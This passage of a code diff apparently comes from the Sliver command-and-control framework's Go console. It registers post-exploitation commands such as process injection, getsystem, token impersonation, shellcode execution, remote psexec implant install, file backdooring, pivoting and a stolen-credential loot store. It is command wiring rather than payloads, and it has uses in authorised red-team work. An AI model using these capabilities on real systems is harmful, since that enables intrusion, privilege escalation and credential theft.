*grumble.Context) error { - fmt.Println() - upload(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.SliverHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.IfconfigStr, - Help: "View network interface configurations", - LongHelp: help.GetHelpFor([]string{consts.IfconfigStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - ifconfig(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.SliverHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.NetstatStr, - Help: "Print network connection information", - LongHelp: help.GetHelpFor([]string{consts.NetstatStr}), - Run: func(ctx *grumble.Context) error { - fmt.Println() - netstat(ctx, rpc) - fmt.Println() - return nil - }, - Flags: func(f *grumble.Flags) { - f.Bool("T", "tcp", true, "display information about TCP sockets") - f.Bool("u", "udp", false, "display information about UDP sockets") - f.Bool("4", "ip4", true, "display information about IPv4 sockets") - f.Bool("6", "ip6", false, "display information about IPv6 sockets") - f.Bool("l", "listen", false, "display information about listening sockets") - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - HelpGroup: consts.SliverHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.ProcdumpStr, - Help: "Dump process memory", - LongHelp: help.GetHelpFor([]string{consts.ProcdumpStr}), - Flags: func(f *grumble.Flags) { - f.Int("p", "pid", -1, "target pid") - f.String("n", "name", "", "target process name") - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - procdump(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.SliverHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.RunAsStr, - Help: "Run a new process in the context of the designated user (Windows Only)", - LongHelp: help.GetHelpFor([]string{consts.RunAsStr}), - Flags: func(f *grumble.Flags) { - f.String("u", "username", "NT AUTHORITY\\SYSTEM", "user to impersonate") - f.String("p", "process", "", "process to start") - f.String("a", "args", "", "arguments for the process") - f.Int("t", "timeout", 30, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - runAs(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.SliverWinHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.ImpersonateStr, - Help: "Impersonate a logged in user.", - LongHelp: help.GetHelpFor([]string{consts.ImpersonateStr}), - Args: func(a *grumble.Args) { - a.String("username", "name of the user account to impersonate") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - impersonate(ctx, rpc) - fmt.Println() - return nil - }, - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", 30, "command timeout in seconds") - }, - HelpGroup: consts.SliverWinHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.RevToSelfStr, - Help: "Revert to self: lose stolen Windows token", - LongHelp: help.GetHelpFor([]string{consts.RevToSelfStr}), - Run: func(ctx *grumble.Context) error { - fmt.Println() - revToSelf(ctx, rpc) - fmt.Println() - return nil - }, - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", 30, "command timeout in seconds") - }, - HelpGroup: consts.SliverWinHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.GetSystemStr, - Help: "Spawns a new sliver session as the NT AUTHORITY\\SYSTEM user (Windows Only)", - LongHelp: help.GetHelpFor([]string{consts.GetSystemStr}), - Flags: func(f *grumble.Flags) { - f.String("p", "process", "spoolsv.exe", "SYSTEM process to inject into") - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - getsystem(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.SliverWinHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.ExecuteAssemblyStr, - Help: "Loads and executes a .NET assembly in a child process (Windows Only)", - LongHelp: help.GetHelpFor([]string{consts.ExecuteAssemblyStr}), - Args: func(a *grumble.Args) { - a.String("filepath", "path the assembly file") - a.StringList("arguments", "arguments to pass to the assembly entrypoint", grumble.Default([]string{})) - }, - Flags: func(f *grumble.Flags) { - f.String("p", "process", "notepad.exe", "hosting process to inject into") - f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)") - f.String("c", "class", "", "Optional class name (required for .NET DLL)") - f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.") - f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)") - f.Bool("s", "save", false, "save output to file") - f.Bool("X", "loot", false, "save output as loot") - - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - executeAssembly(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.SliverWinHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.ExecuteShellcodeStr, - Help: "Executes the given shellcode in the sliver process", - LongHelp: help.GetHelpFor([]string{consts.ExecuteShellcodeStr}), - Run: func(ctx *grumble.Context) error { - fmt.Println() - executeShellcode(ctx, rpc) - fmt.Println() - return nil - }, - Args: func(a *grumble.Args) { - a.String("filepath", "path the shellcode file") - }, - Flags: func(f *grumble.Flags) { - f.Bool("r", "rwx-pages", false, "Use RWX permissions for memory pages") - f.Uint("p", "pid", 0, "Pid of process to inject into (0 means injection into ourselves)") - f.String("n", "process", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode") - f.Bool("i", "interactive", false, "Inject into a new process and interact with it") - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - HelpGroup: consts.SliverHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.SideloadStr, - Help: "Load and execute a shared object (shared library/DLL) in a remote process", - LongHelp: help.GetHelpFor([]string{consts.SideloadStr}), - Flags: func(f *grumble.Flags) { - f.String("a", "args", "", "Arguments for the shared library function") - f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)") - f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode") - f.Bool("s", "save", false, "save output to file") - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes") - }, - Args: func(a *grumble.Args) { - a.String("filepath", "path the shared library file") - }, - HelpGroup: consts.SliverHelpGroup, - Run: func(ctx *grumble.Context) error { - fmt.Println() - sideload(ctx, rpc) - fmt.Println() - return nil - }, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.SpawnDllStr, - Help: "Load and execute a Reflective DLL in a remote process", - LongHelp: help.GetHelpFor([]string{consts.SpawnDllStr}), - Flags: func(f *grumble.Flags) { - f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode") - f.String("e", "export", "ReflectiveLoader", "Entrypoint of the Reflective DLL") - f.Bool("s", "save", false, "save output to file") - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes") - }, - Args: func(a *grumble.Args) { - a.String("filepath", "path the DLL file") - a.StringList("arguments", "arguments to pass to the DLL entrypoint", grumble.Default([]string{})) - }, - HelpGroup: consts.SliverWinHelpGroup, - Run: func(ctx *grumble.Context) error { - fmt.Println() - spawnDll(ctx, rpc) - fmt.Println() - return nil - }, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.MigrateStr, - Help: "Migrate into a remote process", - LongHelp: help.GetHelpFor([]string{consts.MigrateStr}), - Run: func(ctx *grumble.Context) error { - fmt.Println() - migrate(ctx, rpc) - fmt.Println() - return nil - }, - Args: func(a *grumble.Args) { - a.Uint("pid", "pid") - }, - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - HelpGroup: consts.SliverWinHelpGroup, - }) - - websitesCmd := &grumble.Command{ - Name: consts.WebsitesStr, - Help: "Host static content (used with HTTP C2)", - LongHelp: help.GetHelpFor([]string{consts.WebsitesStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - websites(ctx, rpc) - fmt.Println() - return nil - }, - Args: func(a *grumble.Args) { - a.String("name", "website name", grumble.Default("")) - }, - HelpGroup: consts.GenericHelpGroup, - } - websitesCmd.AddCommand(&grumble.Command{ - Name: consts.RmStr, - Help: "Remove an entire website", - LongHelp: help.GetHelpFor([]string{consts.WebsitesStr, consts.RmStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - removeWebsite(ctx, rpc) - fmt.Println() - return nil - }, - Args: func(a *grumble.Args) { - a.String("name", "website name", grumble.Default("")) - }, - HelpGroup: consts.GenericHelpGroup, - }) - websitesCmd.AddCommand(&grumble.Command{ - Name: consts.RmWebContentStr, - Help: "Remove content from a website", - LongHelp: help.GetHelpFor([]string{consts.WebsitesStr, consts.RmWebContentStr}), - Flags: func(f *grumble.Flags) { - f.Bool("r", "recursive", false, "recursively add/rm content") - f.String("w", "website", "", "website name") - f.String("p", "web-path", "", "http path to host file at") - - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - removeWebsiteContent(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - websitesCmd.AddCommand(&grumble.Command{ - Name: consts.AddWebContentStr, - Help: "Add content to a website", - LongHelp: help.GetHelpFor([]string{consts.WebsitesStr, consts.RmWebContentStr}), - Flags: func(f *grumble.Flags) { - f.String("w", "website", "", "website name") - f.String("m", "content-type", "", "mime content-type (if blank use file ext.)") - f.String("p", "web-path", "/", "http path to host file at") - f.String("c", "content", "", "local file path/dir (must use --recursive for dir)") - f.Bool("r", "recursive", false, "recursively add/rm content") - - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - addWebsiteContent(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - websitesCmd.AddCommand(&grumble.Command{ - Name: consts.WebContentTypeStr, - Help: "Update a path's content-type", - LongHelp: help.GetHelpFor([]string{consts.WebsitesStr, consts.WebContentTypeStr}), - Flags: func(f *grumble.Flags) { - f.String("w", "website", "", "website name") - f.String("m", "content-type", "", "mime content-type (if blank use file ext.)") - f.String("p", "web-path", "/", "http path to host file at") - - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - updateWebsiteContent(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - app.AddCommand(websitesCmd) - - app.AddCommand(&grumble.Command{ - Name: consts.TerminateStr, - Help: "Kill/terminate a process", - LongHelp: help.GetHelpFor([]string{consts.TerminateStr}), - Run: func(ctx *grumble.Context) error { - fmt.Println() - terminate(ctx, rpc) - fmt.Println() - return nil - }, - Args: func(a *grumble.Args) { - a.Uint("pid", "pid") - }, - Flags: func(f *grumble.Flags) { - f.Bool("f", "force", false, "disregard safety and kill the PID") - - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - HelpGroup: consts.SliverHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.ScreenshotStr, - Help: "Take a screenshot", - LongHelp: help.GetHelpFor([]string{consts.ScreenshotStr}), - Flags: func(f *grumble.Flags) { - f.Bool("X", "loot", false, "save output as loot") - - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - screenshot(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.SliverHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.LoadExtensionStr, - Help: "Load a sliver extension", - LongHelp: help.GetHelpFor([]string{consts.LoadExtensionStr}), - Run: func(ctx *grumble.Context) error { - fmt.Println() - loadExtension(ctx, rpc) - fmt.Println() - return nil - }, - Args: func(a *grumble.Args) { - a.String("dir-path", "path to the extension directory") - }, - HelpGroup: consts.GenericHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.NamedPipeStr, - Help: "Start a named pipe pivot listener", - LongHelp: help.GetHelpFor([]string{consts.NamedPipeStr}), - Flags: func(f *grumble.Flags) { - f.String("n", "name", "", "name of the named pipe") - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - namedPipeListener(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.SliverHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.TCPListenerStr, - Help: "Start a TCP pivot listener", - LongHelp: help.GetHelpFor([]string{consts.TCPListenerStr}), - Flags: func(f *grumble.Flags) { - f.String("s", "server", "0.0.0.0", "interface to bind server to") - f.Int("l", "lport", defaultTCPPivotPort, "tcp listen port") - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - tcpListener(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.SliverHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.PsExecStr, - Help: "Start a sliver service on a remote target", - LongHelp: help.GetHelpFor([]string{consts.PsExecStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - f.String("s", "service-name", "Sliver", "name that will be used to register the service") - f.String("d", "service-description", "Sliver implant", "description of the service") - f.String("p", "profile", "", "profile to use for service binary") - f.String("b", "binpath", "c:\\windows\\temp", "directory to which the executable will be uploaded") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - psExec(ctx, rpc) - fmt.Println() - return nil - }, - Args: func(a *grumble.Args) { - a.String("hostname", "hostname") - }, - HelpGroup: consts.SliverWinHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.BackdoorStr, - Help: "Infect a remote file with a sliver shellcode", - LongHelp: help.GetHelpFor([]string{consts.BackdoorStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - f.String("p", "profile", "", "profile to use for service binary") - }, - Args: func(a *grumble.Args) { - a.String("remote-file", "path to the file to backdoor") - }, - HelpGroup: consts.SliverWinHelpGroup, - Run: func(ctx *grumble.Context) error { - fmt.Println() - binject(ctx, rpc) - fmt.Println() - return nil - }, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.MakeTokenStr, - Help: "Create a new Logon Session with the specified credentials", - LongHelp: help.GetHelpFor([]string{consts.MakeTokenStr}), - Flags: func(f *grumble.Flags) { - f.String("u", "username", "", "username of the user to impersonate") - f.String("p", "password", "", "password of the user to impersonate") - f.String("d", "domain", "", "domain of the user to impersonate") - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - HelpGroup: consts.SliverWinHelpGroup, - Run: func(ctx *grumble.Context) error { - fmt.Println() - makeToken(ctx, rpc) - fmt.Println() - return nil - }, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.SetStr, - Help: "Set an implant/session option", - LongHelp: help.GetHelpFor([]string{consts.SetStr}), - Flags: func(f *grumble.Flags) { - f.String("n", "name", "", "agent name to change to") - f.Int("r", "reconnect", -1, "reconnect interval for agent") - f.Int("p", "poll", -1, "poll interval for agent") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - updateSessionCmd(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.SliverHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.GetEnvStr, - Help: "List environment variables", - LongHelp: help.GetHelpFor([]string{consts.GetEnvStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Args: func(a *grumble.Args) { - a.String("name", "environment variable to fetch", grumble.Default("")) - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - getEnv(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.SetEnvStr, - Help: "Set environment variables", - LongHelp: help.GetHelpFor([]string{consts.SetEnvStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Args: func(a *grumble.Args) { - a.String("name", "environment variable name") - a.String("value", "value to assign") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - setEnv(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.UnsetEnvStr, - Help: "Clear environment variables", - LongHelp: help.GetHelpFor([]string{consts.UnsetEnvStr}), - Args: func(a *grumble.Args) { - a.String("name", "environment variable name") - }, - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - unsetEnv(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - - app.AddCommand(&grumble.Command{ - Name: consts.LicensesStr, - Help: "Open source licenses", - LongHelp: help.GetHelpFor([]string{consts.LicensesStr}), - Run: func(ctx *grumble.Context) error { - fmt.Println() - fmt.Println(licenses.All) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - - registryCmd := &grumble.Command{ - Name: consts.RegistryStr, - Help: "Windows registry operations", - LongHelp: help.GetHelpFor([]string{consts.RegistryStr}), - Run: func(ctx *grumble.Context) error { - return nil - }, - HelpGroup: consts.SliverWinHelpGroup, - } - - registryCmd.AddCommand(&grumble.Command{ - Name: consts.RegistryReadStr, - Help: "Read values from the Windows registry", - LongHelp: help.GetHelpFor([]string{consts.RegistryReadStr}), - Run: func(ctx *grumble.Context) error { - fmt.Println() - registryReadCmd(ctx, rpc) - fmt.Println() - return nil - }, - Args: func(a *grumble.Args) { - a.String("registry-path", "registry path") - }, - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - f.String("H", "hive", "HKCU", "egistry hive") - f.String("o", "hostname", "", "remote host to read values from") - }, - HelpGroup: consts.SliverWinHelpGroup, - }) - registryCmd.AddCommand(&grumble.Command{ - Name: consts.RegistryWriteStr, - Help: "Write values to the Windows registry", - LongHelp: help.GetHelpFor([]string{consts.RegistryWriteStr}), - Run: func(ctx *grumble.Context) error { - fmt.Println() - registryWriteCmd(ctx, rpc) - fmt.Println() - return nil - }, - Args: func(a *grumble.Args) { - a.String("registry-path", "registry path") - a.String("value", "value to write") - }, - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - f.String("H", "hive", "HKCU", "registry hive") - f.String("o", "hostname", "", "remote host to write values to") - f.String("T", "type", "string", "type of the value to write (string, dword, qword, binary). If binary, you must provide a path to a file with --path") - f.String("p", "path", "", "path to the binary file to write") - }, - HelpGroup: consts.SliverWinHelpGroup, - }) - registryCmd.AddCommand(&grumble.Command{ - Name: consts.RegistryCreateKeyStr, - Help: "Create a registry key", - LongHelp: help.GetHelpFor([]string{consts.RegistryCreateKeyStr}), - Args: func(a *grumble.Args) { - a.String("registry-path", "registry path") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - regCreateKeyCmd(ctx, rpc) - fmt.Println() - return nil - }, - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - f.String("H", "hive", "HKCU", "registry hive") - f.String("o", "hostname", "", "remote host to write values to") - }, - }) - app.AddCommand(registryCmd) - - app.AddCommand(&grumble.Command{ - Name: consts.PivotsListStr, - Help: "List pivots", - LongHelp: help.GetHelpFor([]string{consts.PivotsListStr}), - Run: func(ctx *grumble.Context) error { - fmt.Println() - listPivots(ctx, rpc) - fmt.Println() - return nil - }, - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - f.String("i", "id", "", "session id") - }, - HelpGroup: consts.SliverHelpGroup, - }) - - // [ WireGuard ] -------------------------------------------------------------- - - app.AddCommand(&grumble.Command{ - Name: consts.WgConfigStr, - Help: "Generate a new WireGuard client config", - LongHelp: help.GetHelpFor([]string{consts.WgConfigStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - f.String("s", "save", "", "save configuration to file (.conf)") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - getWGClientConfig(ctx, rpc) - fmt.Println() - return nil - }, - }) - - wgPortFwdCmd := &grumble.Command{ - Name: consts.WgPortFwdStr, - Help: "List ports forwarded by the WireGuard tun interface", - LongHelp: help.GetHelpFor([]string{consts.WgPortFwdStr}), - Run: func(ctx *grumble.Context) error { - fmt.Println() - wgPortFwdListCmd(ctx, rpc) - fmt.Println() - return nil - }, - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - } - wgPortFwdCmd.AddCommand(&grumble.Command{ - Name: "add", - Help: "Add a port forward from the WireGuard tun interface to a host on the target network", - LongHelp: help.GetHelpFor([]string{consts.WgPortFwdStr}), - Run: func(ctx *grumble.Context) error { - fmt.Println() - wgPortFwdAddCmd(ctx, rpc) - fmt.Println() - return nil - }, - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - f.Int("b", "bind", 1080, "port to listen on the WireGuard tun interface") - f.String("r", "remote", "", "remote target host:port (e.g., 10.0.0.1:445)") - }, - }) - wgPortFwdCmd.AddCommand(&grumble.Command{ - Name: "rm", - Help: "Remove a port forward from the WireGuard tun interface", - LongHelp: help.GetHelpFor([]string{consts.WgPortFwdStr}), - Args: func(a *grumble.Args) { - a.Int("id", "forwarder id") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - wgPortFwdRmCmd(ctx, rpc) - fmt.Println() - return nil - }, - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - }) - app.AddCommand(wgPortFwdCmd) - - wgSocksCmd := &grumble.Command{ - Name: consts.WgSocksStr, - Help: "List socks servers listening on the WireGuard tun interface", - LongHelp: help.GetHelpFor([]string{consts.WgSocksStr}), - Run: func(ctx *grumble.Context) error { - fmt.Println() - wgSocksListCmd(ctx, rpc) - fmt.Println() - return nil - }, - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - } - - wgSocksCmd.AddCommand(&grumble.Command{ - Name: "start", - Help: "Start a socks5 listener on the WireGuard tun interface", - LongHelp: help.GetHelpFor([]string{consts.WgSocksStr}), - Run: func(ctx *grumble.Context) error { - fmt.Println() - wgSocksStartCmd(ctx, rpc) - fmt.Println() - return nil - }, - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - f.Int("b", "bind", 3090, "port to listen on the WireGuard tun interface") - }, - }) - - wgSocksCmd.AddCommand(&grumble.Command{ - Name: "rm", - Help: "Stop a socks5 listener on the WireGuard tun interface", - LongHelp: help.GetHelpFor([]string{consts.WgSocksStr}), - Args: func(a *grumble.Args) { - a.Int("id", "forwarder id") - }, - Run: func(ctx *grumble.Context) error { - fmt.Print() - wgSocksRmCmd(ctx, rpc) - fmt.Print() - return nil - }, - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - }) - app.AddCommand(wgSocksCmd) - - // [ Portfwd ] -------------------------------------------------------------- - portfwdCmd := &grumble.Command{ - Name: consts.PortfwdStr, - Help: "In-band TCP port forwarding", - LongHelp: help.GetHelpFor([]string{consts.PortfwdStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - portfwd(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.SliverHelpGroup, - } - portfwdCmd.AddCommand(&grumble.Command{ - Name: "add", - Help: "Create a new port forwarding tunnel", - LongHelp: help.GetHelpFor([]string{consts.PortfwdStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - f.String("r", "remote", "", "remote target host:port (e.g., 10.0.0.1:445)") - f.String("b", "bind", "127.0.0.1:8080", "bind port forward to interface") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - portfwdAdd(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.SliverHelpGroup, - }) - portfwdCmd.AddCommand(&grumble.Command{ - Name: "rm", - Help: "Remove a port forwarding tunnel", - LongHelp: help.GetHelpFor([]string{consts.PortfwdStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - f.Int("i", "id", 0, "id of portfwd to remove") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - portfwdRm(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.SliverHelpGroup, - }) - app.AddCommand(portfwdCmd) - - // [ Monitor ] -------------------------------------------------------------- - monitorCmd := &grumble.Command{ - Name: consts.MonitorStr, - Help: "Monitor threat intel platforms for Sliver implants", - } - monitorCmd.AddCommand(&grumble.Command{ - Name: "start", - Help: "Start the monitoring loops", - Run: func(ctx *grumble.Context) error { - fmt.Println() - monitorStartCmd(ctx, rpc) - fmt.Println() - return nil - }, - }) - monitorCmd.AddCommand(&grumble.Command{ - Name: "stop", - Help: "Stop the monitoring loops", - Run: func(ctx *grumble.Context) error { - fmt.Println() - monitorStopCmd(ctx, rpc) - fmt.Println() - return nil - }, - }) - app.AddCommand(monitorCmd) - - // [ SSH ] -------------------------------------------------------------- - app.AddCommand(&grumble.Command{ - Name: consts.SSHStr, - Help: "Run a SSH command on a remote host", - LongHelp: help.GetHelpFor([]string{consts.SSHStr}), - Args: func(a *grumble.Args) { - a.String("hostname", "remote host to SSH to") - a.StringList("command", "command line with arguments") - }, - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - f.Uint("p", "port", 22, "SSH port") - f.String("i", "private-key", "", "path to private key file") - f.String("P", "password", "", "SSH user password") - f.String("l", "login", "", "username to use to connect") - f.Bool("s", "skip-loot", false, "skip the prompt to use loot credentials") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - runSSHCmd(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.SliverHelpGroup, - }) - - // [ Loot ] -------------------------------------------------------------- - lootCmd := &grumble.Command{ - Name: consts.LootStr, - Help: "Manage the server's loot store", - LongHelp: help.GetHelpFor([]string{consts.LootStr}), - Flags: func(f *grumble.Flags) { - f.String("f", "filter", "", "filter based on loot type") - - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - lootRoot(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - } - lootCmd.AddCommand(&grumble.Command{ - Name: consts.LootLocalStr, - Help: "Add a local file to the server's loot store", - LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootLocalStr}), - Args: func(a *grumble.Args) { - a.String("path", "The local file path to the loot") - }, - Flags: func(f *grumble.Flags) { - f.String("n", "name", "", "name of this piece of loot") - f.String("T", "type", "", "force a specific loot type (file/cred)") - f.String("F", "file-type", "", "force a specific file type (binary/text)") - - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - lootAddLocal(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - lootCmd.AddCommand(&grumble.Command{ - Name: consts.LootRemoteStr, - Help: "Add a remote file from the current session to the server's loot store", - LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootRemoteStr}), - Args: func(a *grumble.Args) { - a.String("path", "The local file path to the loot") - }, - Flags: func(f *grumble.Flags) { - f.String("n", "name", "", "name of this piece of loot") - f.String("T", "type", "", "force a specific loot type (file/cred)") - f.String("F", "file-type", "", "force a specific file type (binary/text)") - - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - lootAddRemote(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - lootCmd.AddCommand(&grumble.Command{ - Name: consts.LootCredsStr, - Help: "Add credentials to the server's loot store", - LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootCredsStr}), - Flags: func(f *grumble.Flags) { - f.String("n", "name", "", "name of this piece of loot") - - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - lootAddCredential(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - lootCmd.AddCommand(&grumble.Command{ - Name: consts.RenameStr, - Help: "Re-name a piece of existing loot", - LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.RenameStr}), - Flags: func(f *grumble.Flags) { - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { - fmt.Println() - lootRename(ctx, rpc) - fmt.Println() - return nil - }, - HelpGroup: consts.GenericHelpGroup, - }) - lootCmd.AddCommand(&grumble.Command{ - Name: consts.LootFetchStr, - Help: "Fetch a piece of loot from the server's loot store", - LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootFetchStr}), - Flags: func(f *grumble.Flags) { - f.String("s", "save", "", "save loot to a local file") - f.String("f", "filter", "", "filter based on loot type") - - f.Int("t", "timeout", defaultTimeout, "command timeout in seconds") - }, - Run: func(ctx *grumble.Context) error { 